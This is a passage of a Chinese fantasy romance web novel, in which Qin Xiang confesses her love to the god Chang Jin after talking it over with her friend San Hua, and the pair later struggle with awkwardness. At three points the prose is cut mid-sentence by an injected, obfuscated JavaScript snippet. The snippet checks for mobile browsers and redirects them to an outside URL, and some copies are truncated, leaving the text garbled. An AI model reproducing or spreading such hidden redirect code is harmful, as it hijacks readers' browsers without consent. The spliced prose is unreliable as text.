是夜,秦湘心中闷堵,便坐在屋檐上看星星。为了增加点氛围,她还将她爹藏的几壶酒也翻了出来,一起搬到了屋檐之上。心情堵闷的显然不止她一人,看着屋檐下站在的三花,秦湘怔了一怔,举起手中系着红色流苏穗子的小圆酒壶朝她晃了晃,笑道:“小三花,一起来看星星吗?” 三花顿了一顿,旋即足尖一点,飞掠而起。她在秦湘身边坐下,表情沉闷。 “怎么了?不开心吗?”秦湘又开了一壶酒水,递了过去,“喝吗?” 三花接过她递过来的酒壶,捧在手心里。月色如水,将她们的影子拉得很长很长,她顿了顿,还是开口道:“秦湘姐姐,你会和乔玉洲在一起吗?” “嗯?”闻言,秦湘一愣。看着三花垂着的眼帘,一双碧蓝色眸子里盛满失落,周身也萦绕着一层阴霾。见秦湘很久都没有回答,三花便抬起眼,看向她,再次问道:“秦湘姐姐,你会和乔玉洲在一起吗?” 秦湘怔了一下,而后,轻轻地笑了,伸手揉了揉三花的头,温声道:“不会,我那时候不是就已经说过了吗?他不是我喜欢的人,而且乔玉洲也不会和我在一起的。” “我知道……”三花闷闷道,“可是你爹爹和他爹爹,很希望你们在一起……” “他们希望是没有用的,我们愿意才行,如果我们不愿意,没有人可以逼迫我们。”秦湘一边说着,一边拿酒壶碰碰她手中握着的那个,“所以你不要难过啦,我和乔玉洲是绝对不会在一起的。” 闻言,三花一僵,别过脸去,半晌,才道:“我才不是因为他难过呢,我开心得很。” “噗嗤,”秦湘被她逗乐,低低地笑了一阵,三花转过头来,一脸羞恼,“秦湘姐姐你笑什么?” 秦湘心中一动,在这几下当中也隐约明白过来了三花心中可能也是有乔玉洲的,看来那家伙并不是单恋无果啊。不像她,她与长锦,会有未来吗?没有吧? 想到这,她心中酸涩,仰头喝了一口酒,又转头伸手戳戳三花的额头,笑道:“我笑啊,有个小傻瓜口是心非,明明在意得很,还要装作不在意。” 许是秦湘眼中的情绪太温柔,又或者是气氛刚好,三花愣愣地看了她一会儿,倒也没有再否认,“好吧,瞒不过秦湘姐姐,但我只跟你说,你不要告诉别人,尤其是乔玉洲,你不许和他说。” “好,我保证,这是我们之间的秘密,”秦湘笑着举起三根手指,“所以,小三花你老实和我说一说,其实,你是不是是喜欢乔玉洲的?” 三花别扭了一会儿,像是怕丢面子似的,一脸不情愿地道,“嗯……喜欢,”说完,便有些后悔似的,又改口道,“不过没有那么多喜欢,就一般喜欢吧。” “嗯?”秦湘惊道,“那你们为何没有在一起?” 说起这个,就像是点到了三花心中的某个点一般,她愤愤道,“我们为何要在一起,乔玉洲那个呆瓜,他又没有先和我说喜欢我,我才不要和他说呢。” 闻言,秦湘更惊了,没有先说的意思是,三花知道乔玉洲喜欢她这件事?她感觉她好像嗅到了一丝八卦的气味,好奇大过于理智,于是她道:“先说的意思是……” “他喜欢我这件事我一直都知道,我又不是傻子,他那么明显我会看不出来?只是他一直都没有和我说过喜欢我这件事,他个呆瓜,不和我说喜欢我,又要对我那么好,真的特别气人,秦湘姐姐你知道吗?有个时候,我超级超级想揍他一顿的,撩拨人,让人对他动心。可我有时候又觉得他若即若离,让我觉得我错了,他其实不是喜欢我,秦湘姐姐你说说,乔玉洲他是不是特别欠揍?你说他不会是想让我先说喜欢他吧?我是不会说的,打死也不会先说的……” 三花话匣子打开,一箩筐一箩筐地往秦湘这儿倒,一边吐槽,一边愤愤,酒壶在她手中被捏得铁紧。秦湘揽着她,在她肩膀上拍拍,顺着她的话一起忿忿道:“原来是这样,乔玉洲也太欠揍了,下次我帮你揍他,狠狠地揍他……” 两人又就着揍乔玉洲这个话题狠狠地聊了一会儿,经过这一通发泄,三花脸上也情绪也变得轻松和舒畅起来。秦湘灌了一口酒,而后道:“现在舒服多了吧?” “嗯,好多了,谢谢秦湘姐姐。”三花点点头,转而看向秦湘。 “不客气。”夜风吹起了她的发丝,三花看着她笑着,可笑着笑着,就见她垂下了眼睛,愣愣地盯着手中的酒壶发呆。 呆了一会儿,又狠狠地灌了一口。三花偏头看了秦湘一会儿,开口了:“秦湘姐姐。” “怎么了?”秦湘看向她。 “你也可以和我说说,你为什么要一个人在屋檐上喝酒啊?”三花轻声道,末了,又补上一句,“不要和我说你是在看星星,你知道我不会相信的。” 秦湘本来确实是想这么说,见她如此,对上了她的眼睛,良久,转而失笑:“三花你真是……” “所以秦湘姐姐你有什么心事也可以跟我说说的,我能帮你一定会帮你的。” 也许是三花的语气太过诚恳,秦湘脸上的笑意也渐渐消失,她愣愣地抬头看向远方,那是长锦住的西院的方向。 良久,才收回视线,低下头,看着酒壶上的红色穗子,苦笑道:“三花,我喜欢了一个人。可是我发现我好像不能喜欢他,因为他有他的责任,我不知道我们之间有没有结果,他可能未来有一天会消失,而且,这一天可能是半年,可能是一年……所以,这么一想,我们之间……我……不能喜欢他……可是我又控制不住自己想要喜欢他……” 秦湘说着,倏尔一笑,心中怅然若失,笑着笑着,就莫名地红了眼眶。原来,喜欢是这样的一种感觉,让人又酸又甜,若得若失…… 秦湘自己没见过自己这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096107|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副模样,三花也没见过她这副模样,看着她嗒吧嗒吧就下来的眼泪,三花简直都要吓死了,手脚无措地伸手帮她擦眼泪,一边擦一遍急道:“秦湘姐姐,你别哭呀。” 秦湘也伸手擦了擦,又笑道:“我没事,就是一下子这个气氛到了,没忍住。” 见她还有心情开玩笑,三花抬手怒给了她一个猫猫拳,秦湘哈哈笑着,心甘情愿地受了。 夜风轻轻地吹过,吹起了两人散落在肩头的发丝,也吹响了廊檐下玲珑精巧的风铃。月色下,屋檐上,两人碰了碰手中的酒壶,仰头饮尽。 三花看着面前发呆的秦湘,抿了抿嘴唇,沉默几许,最终还是道:“秦湘姐姐,如果你真的很喜欢那个人,那就喜欢吧,不需要控制自己。” “喜欢一个人是当下的事情,不管以后会发生什么,那都是未来。正因为在一起的时间已经不多了,才更加需要珍惜,不然在这些时间里秦湘姐姐你因为不敢,不能,到最后,留下永久的遗憾。你不会觉得可惜吗?” 秦湘垂下眼帘,沉默良久,才笑着揉揉三花的头,“所以小三花的意思是让我去告诉他我的心意?”顿了顿,又道,“你怎么说起我来一套一套的,怎么一到你自己身上就变成笨蛋了?” “因为我们的情况不一样啦,”三花将她脑袋上的那只手抓了下来,眼睛亮晶晶的望向秦湘,“乔玉洲那样的他要知道我喜欢他,不得得寸进尺嚣张成什么样,他不先说我是打死也不会先说的,反正来日方长。” 秦湘想了一想,轻声笑开了,点点头,“好像你说得也是。” “是吧,我可是我们族里最聪明的,”三花得意道,“所以秦湘姐姐,你也认同我说的了吧?不要让自己留下遗憾,你那么好,我不想你后悔。” 两人目光交汇,几许沉默,秦湘轻轻地嗯了一声,转过视线:“我不想后悔。” 这边两人已经解开心结,一身轻松地坐在屋檐上喝酒看星星,那边同样心乱的长锦却还陷在一片惴惴之中。 西院里,一片漆黑,长锦盘坐于案牍之间,他皱着眉头紧闭双眼,手指捏诀,又布了一个清心决施于周身。 自从今日在喜宴上看见秦叙想撮合秦湘与乔玉洲这件事之后,他就一直心绪不宁,后来身旁有长老弟子还是掌门来与他说话,他其实都不知道他们在讲什么。脸上佯装无事地笑着,可满脑子,满心里,只有一件事,秦湘已经到可以谈婚论嫁的年纪了,可他却连一句喜欢她都不敢说,也不能说。 他也不知自己是何时对她起了这种心思,是第一次见面时她将他带回腾岳之巅?还是花溪镇那一战中她以背相抵护在他面前?亦或是后来在渡天殿前她说喜欢他,需要他之时?他越想捋清楚,就越捋不清楚。 思来想去到最后他只清楚了一件事,比起秦湘需要他来讲,反而更加是他需要她,他离不开她。 虽然今天在席间,秦湘是拒绝了乔玉洲。可长锦比谁都清楚,这只是一个开始,她只是恰巧不喜欢乔玉洲而已,可日后,终归还是会有喜欢的人,然后与那人携手同行,相伴一生。至于他在人间与她一起的每一天,都像是偷来的一般,他给不了她任何,又怎敢误她? 明明知道不可以,可为何还是会任由自己就这样清醒地沉沦下去? 他想走出这个漩涡,可却发现越挣扎就越深陷其中,无法自拔。 清心诀是无法让他此时混乱的思绪清净下来了,长锦烦闷地睁开眼睛,默不作声地盯着案牍上的书卷看。那书是秦湘带来的,说是怕他无聊给他解乏用的,此时看着它,秦湘那天的每一句话语,每一个动作,每一个微笑又清清楚楚地浮现在了他的眼前,他疲惫地闭上了双眼。 不知过了多久,门扉被人敲响,秦湘的声音在门外响起:“神君,你在吗?” 长锦心下微动,在黑暗中睁开双眼,他怔怔地盯着那扇门扉,此时,他心心念念的人就站在与他一门之隔的地方,他想当做没听见,不回应,这样她便会走了吧?可这个念头在秦湘开口叫第二声神君之时便被狠狠杀死在了他心中,他还是没办法不回应她。 “来了。”他起身,走了过去,刚拉开门扉,秦湘便一把栽进了他怀中。 长锦一惊,脑子还未反应过来,手便已经先扶上了她。看着她怀中抱着的小红泥酒壶,他怔了怔,才闷闷地开口,问道:“你喝酒了?” “一点点,”秦湘眯着眼睛,朝他嘿嘿一笑,又越过他朝房间里看了看,“神君你今日为何开门如此慢?还不点灯,是睡着了吗?” 长锦别开脸,道:“是睡着了,然后听见你敲门,又醒了。” “哦,”秦湘了然地点了点头,“那神君要跟我一起去看星星吗?今晚上的星星特别好看。” 62.我喜欢你 长锦也不知道他是怎么跟着秦湘一起爬上西院的屋顶的,看着身旁一脸似醉非醉似清醒非清醒的秦湘,他一声暗叹,心中也生出了几分惆怅,想要离她远些,真的好难。 夜间清凉的风吹拂着,秦湘双手撑在两边,仰着头,看着漫天星空,任由着清风一阵一阵地从她面颊上轻拂而过。月色如水,星河灿烂,两人都静静地坐着,谁也没有先出声。 不知坐了多久,秦湘才开口唤他:“神君。” “嗯?”长锦声音淡淡地,虽然听不出其中的情绪,但还是有应必回。 秦湘转头,忽然道:“今日在席间,爹爹与乔伯父的话都是胡乱说的,他们只是因为看见清桐姐姐和师兄成亲了,所以一时感慨才这样的。” 长锦一愣,秦湘的话让他产生了一种莫名的感觉,她是在向他解释吗?皎洁的月光柔柔地洒在秦湘娇俏的脸庞上,秦湘目不转睛地看着他,他也目不转睛地对上了她那双明亮的眼睛。 秦湘看着面前的长锦,看着他眼中同样包含着的复杂的情绪,心中一怔,她想到了三花的话,她不想后悔,她想喜欢面前这个人。 心脏徒然发烫,其实今晚的她也是故意的,她怕太清醒了有些话她说不出来,故而借酒壮胆。此时被这凉风一吹,虽然脑子已经清醒了许多了,但支撑她把那些话说出口的话也够了。 秦湘盯着他又看了许久许久,才又唤道:“神君……” 长锦也答:“嗯……” 秦湘声音颤抖,心跳的声音也在寂静的夜色之中被无限放大,她盯着他,正经且严肃道:“我不喜欢乔玉洲。” 长锦眼睫动了动,半晌,才道:“我知道。” “我喜欢你。” 心脏骤停了一瞬,长锦看着对面姑娘眼中的认真与赤忱,僵了良久,张了张嘴想说话,却什么也说不出来,脑中却一片空白。 秦湘一鼓作气,脑子发昏,口中还在继续说着她心中那些想说的话:“神君,我喜欢你,不是信徒对神明的那种崇拜喜欢,也不是觉得是因为你对我好的那种喜欢,是我想与你在一起的那种喜欢。” 夜风习习,长锦看了秦湘许久,脸上看不出情绪,就在秦湘以为长锦不会给她任何回应之时,他忽而一声叹息,然后转过了脸去,不知在盯着些什么,声音无喜无悲。 “可是,秦湘,我不知道我们之间还有没有未来?幕后之人还没有出现,魔主也还没有找到,我不知道这件事情发展到最后会怎样结束,可能我会消失,可能我会接着去封印厄运之门,秦湘,我不能许诺你任何,我们之间可能没有未来。” 他顿了顿,又转过脸来,望向秦湘,声音轻淡,一字一句道:“秦湘,如果我们要是没有未来怎么办?你怎么办?所以,你不能和我在一起。” 秦湘一愣,怔怔地盯着长锦望过来的眼睛,她没想过会得到长锦这样的回答。他没有说是因为不喜欢,他说的也是她之前一直担心害怕的问题,怕他们之间没有未来。如果是在这之前秦湘也会觉得没有未来所以还不如不说,可如今,她不这么觉得了。 于是她摇摇头,轻声道:“我不想想未来,我只想当下,神君,我之前便说过,未来是个未知数,我只知道如果现在我没有让喜欢的人知道我喜欢他,这才是我会后悔一辈子的事情。正因为时间是有限的,才更加弥足珍贵,我不想日后回想起来,再追悔莫及。” 长锦听到这句话,看着面前那个眼神里满是执拗与坚定的姑娘,心脏在这一瞬间仿佛被狠狠地刺了一下。他颤抖着,呼吸沉重,只觉得心中那些坚固起来的高墙已经摇摇欲坠,只要再轻轻一推,便能彻底崩塌。 四下寂静,耳边只有虫鸣声此起彼伏,秦湘看着面前一言不发的长锦,他目光中的神情是那么无波无澜。 时间一分一秒地过去,秦湘突然觉得自己像是一个在等待审判结果的囚犯一样,心中的一腔热意在这时间的煎熬之中也不断、不断地变凉下去。 两人又沉默了一段时间,秦湘受不了这个凌迟般氛围了,她突然有些想哭。 于是别开眼,故作轻松地叹了一口气,道,“神君你别这样看着我了,如果我让你为难了的话,那你就当作没听过就好了,”低头摩挲着手中的酒壶,顿了顿,“是我的私心作祟,我不知道别人喜欢一个人是什么样子的,我只知道我喜欢一个人我就一定要让他知道。” 秦湘说着,说到最后,她也不知道自己在说什么了,也不知道该说什么了,她只觉得鼻子很酸,不能在他面前落泪,太丢脸了。 她深吸了一口气,极力克制住自己,朝他露出个比哭还难看的笑容来:“喜欢神君这件事只是我自己的事,就算让神君你知道了也没什么的,所以神君你不必有任何负担,不必露出这么凝重的神情来。” 闻言,长锦一怔,他看着秦湘微微发颤的肩膀与红润的眼眶,心中涩然。僵了很长时间,他才眨了眨眼,缓缓抬起手,想要帮她擦擦眼泪,可是秦湘却先一步转回了头,伸手抹去了脸上的泪,倏尔起身道:“好了,今晚可能确实是我酒喝得有点多了,我先回去了,多谢神君你陪我看星星。” 秦湘转身,她仰头看了看,又转了转眼珠,似乎想将溢出的泪水倒回去。然而,在她正准备起身离去之时,手却忽然被人握住了。仿佛被刺了一下,秦湘身体一僵,还未等她回头,长锦便从背后紧紧地抱住了她。 秦湘双眼蓦地睁大了,她能感受到身后的人那沉重的呼吸在她耳边一下一下响起,她喃喃道:“神君?” 长锦紧紧地抱着秦湘,身体是颤抖的,心脏是如擂鼓般的。看着秦湘哭着的样子,他脑中一片空白,听着秦湘说的话,他心中难受,就如刀割一般。 这个人啊,明明自己已经那么难受了,却还要装作一副轻松的模样来安慰他人。看着她准备离去的那一瞬间,长锦就知道,所有的理智全部坍塌,他终究还是逃不过。 他想,哪怕只有一天也好,他想和她在一起。 他闭上双眼,声音颤抖,“秦湘,别走,别走……” 秦湘一怔,半晌,苦笑道:“为什么不走?神君你又不喜欢我,不想和我在一起,我为什么不走?不要让我更难堪了,让我走吧。” “不,不是的,”在这一刻,私欲战胜了理智,已无退路。长锦连忙道,“我说谎了,我想和你在一起,哪怕只有一天也好,我都想和你在一起。” 闻言,秦湘再也忍不住了,肩膀颤抖,片刻之后,她好不容易止住的泪水又要奔涌出来,她不知道自己听见这句话之后为何会是这样的反应,心中除了高兴意外,还夹杂着些什么其他说不清道不明的情绪。 泪水滑落脸颊,秦湘张了张嘴,想说话却不知该说些什么,顿了半晌,她才缓缓伸手,叠上了环在她腰间的那只手。 长锦身体一僵,他在颤抖,覆在他手背上的那只手也在颤抖。 秦湘没有推开他,也没有再离去。 漫天星辰下,两人就这样静静地相拥着。过了很久很久,秦湘才冷静下来,轻轻拍了拍那只搂在她腰际的手,柔声道:“神君,好了,先放开我。” “不,”长锦立刻拒绝,将她搂得更紧了,将头埋在她的颈间,声音嘶哑低沉,“不行,我一放开,你就会离开,我不能放开。” 闻言,秦湘一怔,半晌,轻笑一声,伸手摸了摸她颈间这颗毛茸茸的脑袋,声音温柔得不像话:“好了,我不会走的,我就是脚麻了,咱们换个姿势好吗?” 听着她的话,长锦也呆了一瞬,脸很烫,心跳很快,他抬起脸,好半晌,才赶紧松手放开她来,坐在她身边。得到了解放,秦湘也慢慢地动了一动,等到血液通畅,双腿的麻劲过去,才转过身来,与长锦面向着同一方向坐着。 两人中间隔了几寸的距离,默默无言了一阵。长锦余光看着秦湘放在身旁的手,脑中天人交战了一番,最终还是没忍住,装作不经意间轻轻触碰了一下她的指尖。 秦湘一僵,心中仿佛跟在放烟花一样,但面上却还极力保持着镇定,神色自若地看着天幕上那些她压根看不进脑子里的星星。 两人都没有说话,秦湘也没有将手收回去,在再一次试探之下,长锦终于伸手,将秦湘的指尖攥握在了掌心里,然后顺着她白皙柔软的五指缓缓地滑落下去——掌心贴合,十指相交。 须臾间,秦湘只觉得自己好像踩在云层里。大脑发懵,有种飘飘欲仙晕晕乎乎不知今夕是何夕的错觉,她眨了眨眼,转头看向长锦。那边长锦感受到了她的视线,也在强作镇定,只是看着前面的亭台楼阁,却不敢转头对上秦湘的视线。 秦湘看着他红透了的耳廓,不禁一愣,原来,这个人,比她还容易害羞,不过,这样就已经很好了。她笑了笑,收回了目光,又朝他坐得近了一些,然后与他一起看着面前的夜色如水。 又坐了很久很久,秦湘动了一动,将头靠在长锦的肩头。在靠上去的那一瞬间,长锦整个人都僵硬了须臾,秦湘沉默片刻,最终还是没忍住,轻声唤他:“神君。” “嗯?”长锦还没有冷静下来,声音都在颤抖,“怎么了?” 秦湘看着面前被风吹地沙沙作响的树枝,淡淡道:“神明是不能够动心喜欢人的吗?” 长锦一怔,顿了顿,轻声道:“不是,神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见她语言中似有退缩之意,长锦将手抽了出来,转而双手按住了她的肩膀,一双眼睛紧紧地盯着秦湘,语气温柔也坚决,道:“秦湘,你先冷静一下,听我说,无情即有情,神明无情并非是真的无情。如果神明无情无心,又怎么感受世间冷暖,怎么感受人心复杂?不爱人间,不了解人世间的情感,又怎么明白守护苍生的意义?感情是人世间最复杂的东西了,神明有情,是对天地众生之情,神明无情,是对个人私情的愧疚,二者不能两全,你明白吗?” 秦湘看着他的眼睛,心中微动,她眨眨眼,喃喃道:“所以,神明可以有情,但是不能失其本心,必须先苍生而后自己。无情即有情,是说,你喜欢我,但是你先是属于天下苍生的,然后才是属于我的,若是失去本心,控制不住自己的感情,那自然就不配为神,也对不起天下苍生。” 长锦点了点头,“便是如此了,守护厄运之门是我的责任与使命,终有一天我会离去,那时你又该如何?我已经知道我是会让你受委屈的,所以我才不敢对你说我喜欢你。但是我却控制不住我自己,我眼睁睁地看着自己越陷越深,是我的私心作祟,”他顿了顿,捂着脸道,“秦湘,对不起,是我……我控制不住……” 闻言,秦湘一愣,若只是如此,她就没什么好担心的了,这是她本来就知道的事情,长锦终有一天会离去,她早就知道的,而她也不想去想在那之后她会如何,无非也就是日子一天一天地过。若是长锦真的会因为她而弃自己的责任与使命于不顾,那这样的人,她也不会喜欢的。 所以,看着面前对她满含愧意的长锦,秦湘沉默了片刻,伸手捧过了他的脸,然后看着他的眼睛,一字一句认真道:“神君,若你只是担心会让我受委屈,那这没什么好担心的,你也不用说对不起。从我知道我喜欢你的那一刻起,我就知道接下来会发生的事,我也因此迷茫过,觉得我们之间不应该开始,可是后来三花告诉我,正因为时间是有限的,所以才更需要珍惜。所以,我才会过来找神君,告诉神君,我喜欢你,我想好好珍惜与你在一起的日子。” 秦湘顿了顿,又继续道:“而且秦湘并非如此脆弱之人,感情并不是一个人活在这世上的唯一理由,神君有自己的责任与使命,我也有自己的责任与使命呀。腾岳之巅供奉了神君百年,而我从小的愿望,便是成为像你一般的人,就像山门口那块大石头上写的一样,我想惩恶扬善,尽自己最大的努力去保护比自己弱小的人。” “此间正道,我并不需要站在神君你的身后,我想要的是站在你身边,与你以背相抵,并肩同行。”她正色道,“所以,神君,如果有一天,天下苍生与我一同站在你对面,不用犹豫,必须先是天下苍生而后才是我,因为,我也会如此选择。” 夜风轻轻地吹过,带起了秦湘额角的碎发,她捧着长锦的脸,凝望着他,一双眼睛在月色的映照下闪耀着坚定的光泽。长锦看着她那双明亮的眼,良久,才笑了,声音中带着释然。 他道:“嗯,我知道了。” 63.尴尬局面 对于这天晚上,秦湘不管多少次回想起来都觉得自己真的是超级厉害的。勇气上头会让人一下丧失理智,做出许多连自己都意外的事情来,可当勇气散去,一个人冷静下来后,所有的羞赧与后怕就都找上门来了。 从西院回到自己的住处,秦湘所有的镇定全部消失殆尽。她一把关上门扉,迅速地躺回了床上,双手按在自己的心脏处,望着床帷帷顶,却怎样也睡不着。今晚上发生的一切都在她脑海中不断回放,她想起那时自己巴拉巴拉的那一堆话,不禁恼羞成怒,无端激起了半身的鸡皮疙瘩。 “好恐怖……”秦湘“嘶”了一声,头皮发麻,猛地将头埋进枕头里,她不敢再想了,自己今晚上做了什么。那时在屋顶上的那一段,她已经讲到完全忘我的地步了,虽然长锦最后也认为她说的是对的,应该是认为她说的是对的吧?看他的神情,应该是的。 她揉了揉眉心,其实她也不知道自己为何会说那么多,就是看着长锦那副神情,她下意识地便想将她心中所想的全部告诉他。让他也与自己一样,好好珍惜这些时间,不用有太大的负担。 如今真的与长锦心意相通了,在一起了,心脏悸动地像是要从胸腔之中跳出来一般。秦湘脑海中思绪混乱,心情亢奋,什么都想,黑夜渐渐过去,今晚注定不是个不眠夜。 在一起的第二天,见到长锦的第一眼,秦湘猛然发现了一个问题,明明她与长锦已经心意相通了,可两人之间的关系不但没有迅速升温,反而还莫名地有种十分不自在的感觉。 她是这样,长锦也是这样。这种感觉怎么形容呢,就像是有点熟悉的陌生人一般。明明在这之前她和长锦之间总是有说不完的话,可确定关系之后她却总是不知道该说些什么,总是会顾忌良多,生怕这样的自己会不会让他不喜欢,一旦有了顾及就会畏手畏脚,就连最平常的事情此时做起来也是莫名有几分尴尬。 这样小心翼翼的相处方式让两人之间的氛围变得愈发地尴尬起来,秦湘与长锦自然也意识到了这些问题,可是却实在不知该如何破局。 这样的日子又一连过去了十多天,他们之间的尴尬已经上升到了一个前所未有的新高度,这下不止是两人自己发现了,就连沈清桐与周楚闵看见坐在一起的两人,也会有种莫名其妙的尴尬感油然而生。 这一天午膳时间,四人一起坐在云隆堂吃饭。周楚闵与沈清桐看着面前规规矩矩坐着吃饭的秦湘与长锦,对视一眼,最终还是没忍住,周楚闵神经大条,没想那么多,直接道:“阿湘,席清长老,你们……最近是不是……吵架了?” 秦湘与长锦闻言,心下微惊,立马抬头看了对方一眼,半晌,又不约而同地将眼神挪开。 秦湘握着筷子,极力装作平静道:“我们没有吵架,师兄你想太多了。” “嗯?是嘛?”周楚闵一脸疑惑,“那奇怪了,那你们俩这氛围是怎么回事?还有你,阿湘,你知不知道你一连十几天都是一副乖顺矜持的样子,和席清长老之间特别见外。” “……”秦湘心中自然知道是怎么回事,可是她与长锦之间还未曾挑明这个话题,此时被周楚闵这一语道破,她只觉得自己整个人都在发烫,于是她轻咳一声,垂眸胡乱道:“怎么可能,师兄你眼神不好,定是你看错了。” 闻言,周楚闵急了,也不纠结她与长锦关系尴尬的那个问题了,一心只在秦湘说他眼神不好的话上:“怎么可能,我可是箭无虚发,百步穿杨,我眼神怎么可能不好呢?!” 见周楚闵还要再喋喋不休地证明着自己眼神很好这件事,坐在一旁的沈清桐忍不住了,伸手夹了一块排骨放在他碗里,打断道:“好了好了,我们都知道你眼神好了,快吃饭。” “好的,清桐。”周楚闵瞬间不争了,坐在那里拿着筷子就猛地干饭。看着周楚闵一副妻管严的模样,秦湘摇摇头笑了笑,果然真是一物降一物。 紧绷的情绪也在这时得到了短暂的舒缓,可她嘴角的笑意还未曾收回,就又听见那边的沈清桐接着道:“阿湘,吃完饭你先别走,跟我来一下,我有事情和你说。” 秦湘心中一咯噔,看着沈清桐温柔的眼睛,她莫名地觉得有些心虚。 吃完饭后,秦湘跟着沈清桐回了医疗阁。坐在案几前,沈清桐为她斟了一杯热茶,又在她旁边坐下,声音温和:“好了,说说吧,你和席清长老之间到底怎么了?” “我和神君……”秦湘说到一半,似乎有些不大好意思说出来,她红了红脸,顿了顿,声若蚊吟地、快速地又将下半句补上了,“在一起了。” “什么?”她说得太快又太过于小声,沈清桐一时没听清,一愣,眯着眼睛问道,“阿湘你方才说的什么,后半句太小声了,没听清,你再说一遍。” 秦湘恼了:“清桐姐姐你是不是故意的?” 沈清桐一脸莫名,看着秦湘恼羞成怒的样子,也像是有些琢磨过来了,但嘴上还是说,“没有故意,真的没听清,你再说一遍。” 秦湘眯着眸子盯着她的脸看了好久,看着沈清桐一脸认真没在开玩笑的样子,她才又叹了口气,低下头,又清清楚楚地说了一遍:“我说,我和神君在一起了。” 闻言,沈清桐满脸震惊,她想过是秦湘找长锦说喜欢他这件事,但是却没想到这两人的发展竟然如此迅速!她眨了眨眼,回过神来,嘴角也不自觉地扬起,拉着秦湘的手笑道,“这是好事呀,阿湘你如愿以偿,不应该开心吗?”她说着,又松了一口气,“我还以为你们俩这些天这么尴尬,是因为你找席清长老表明了心意,然后他拒绝你了,所以才叫你过来发散发散情绪。” 比起沈清桐由衷的开心,秦湘却是无奈地苦笑了一下,眉宇间写满的都是忧愁。 见她神情不对,沈清桐一愣,收起了笑容,摸了摸她的脸,温柔道:“阿湘,你怎么了?怎么不开心?是和席清长老之间出什么问题了吗?” “清桐姐姐……”秦湘垂下眼眸,叹了口气,“是有点问题,我感觉有点不大对,就是我和神君没在一起之前相处很自然的,可自从在一起之后,我却发现我和他之间的相处特别不自然,我总是告诉自己不用在意这么多,就跟之前一样就好了,可是我总是做不到,特别僵硬,就有种一直在端着的感觉。” 沈清桐微微一愣,轻声问道:“为什么会端着?具体是怎样的?你说给我听听。” “我也不知道……”秦湘苦恼地摇了摇头,又想了想,闷闷道,“就比如,之前我和神君一起吃饭的时候压根不会顾忌太多,可在一起之后,我就变得特别矜持,因为我怕我之前那样神君会觉得我吃得太多,就会产生不好的想法,我总想在他面前做最好的自己,可是我越矜持越小心翼翼就越不像自己,越想在神君面前保持完美形象就越容易出错……” 说到这,秦湘像是想到了什么,一声哀嚎,满脸都是不可置信地接着道,“而且,清桐姐姐你不知道,昨天吃饭的时候,有个菜是鸡腿,因为拿手直接啃我怕神君嫌弃我太粗鲁太磕碜了,然后我就拿那个筷子夹着吃,结果……” 听到这,沈清桐笑着问道:“结果筷子夹鸡腿没夹稳,鸡腿掉了?” “就是!!那鸡腿它它它它掉了!”想到那鸡腿,秦湘头皮发麻,满脸都还是震惊加尴尬,“清桐姐姐,你都不知道,那一刻我想死!!那鸡腿它掉了就算了,还砸翻了汤碗,然后掉到我自己身上,真是蠢死我算了!!早知道就不打鸡腿了!!” 秦湘说完,又扒拉着沈清桐的手臂使劲不停地晃了晃,欲哭无泪:“真的!!清桐姐姐,这要是放在平常,一个鸡腿而已,我两三口就啃完了,你说我怎么就变成这样了啊!!那汤撒我一身的时候,我心里特别紧张,生怕神君因此觉得我蠢,不对,我自己都受不了,我自己都觉得我蠢死了,更不要说神君了,清桐姐姐,怎么办呐!!我真的受不了了!!” 沈清桐听到这,也算是差不多了解了,她摸摸秦湘的头,安慰道:“好了好了,席清长老怎么可能会因为这些小事就不喜欢你,还觉得你不好呢,阿湘,你就是太紧张了。” “是啊,我也不知道该怎么办好了,为什么会这样呀,”秦湘抬头看向她,满脸忧愁地叹了口气,问道,“清桐姐姐,你和师兄刚在一起的时候也这样吗?就是很尴尬很僵硬,到底要什么时候才能变正常呀?我真的不想这样了。” “我和你师兄倒是没有遇到过这样的情况,”沈清桐说着,转眼看着秦湘暗淡下去的眼神,笑了笑,拍了拍她,“不过你和席清长老这种情况要打破倒也不难。” 闻言,秦湘暗淡下去的眼神又重新燃起了光辉,她惊喜道:“真的?清桐姐姐你没有骗我?” 沈清桐一怔,旋即失笑道:“我骗你做什么,你和席清长老这可能就是思维上还没适应你们之间这种关系的转变,关系的转变可能会让你们心里有更多的顾虑,你们都不约而同地担心自己的缺点展露在对方面前会让对方不喜欢,所以在相处的时候,就总是习惯地就想小心翼翼。” “是啊,就是这样,”秦湘认同地点点头,“之前是无所谓,可现在做什么之前总是会在意神君的看法,生怕我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从医疗阁离开后,秦湘先回了自己房间坐了坐,思考了半个时辰后,觉得沈清桐说得特别有道理,她确实应该要和长锦好好聊聊,她不想再这么尴尬下去,若是一直这样,那还不如当作那天晚上她就从来没说过喜欢他这种话,这样起码还自然。 思及此,她将自己收拾了一番,整理了一下自己的思绪后,就前往了西院。刚将手放在西院的院门上,还未推开,门便从里面被人拉开,长锦看见面前站着的秦湘,一愣,秦湘看着面前拉开门扉的长锦,也是一愣。 此时已是黄昏,橘黄色的夕阳在秦湘脸上渡了一层柔和的金光,将她的瞳孔也印染成了通透的琥珀色。两人沉默了一下,面上皆是闪过一丝不自然。 秦湘:“你要出去?” 长锦:“你怎么来了?” 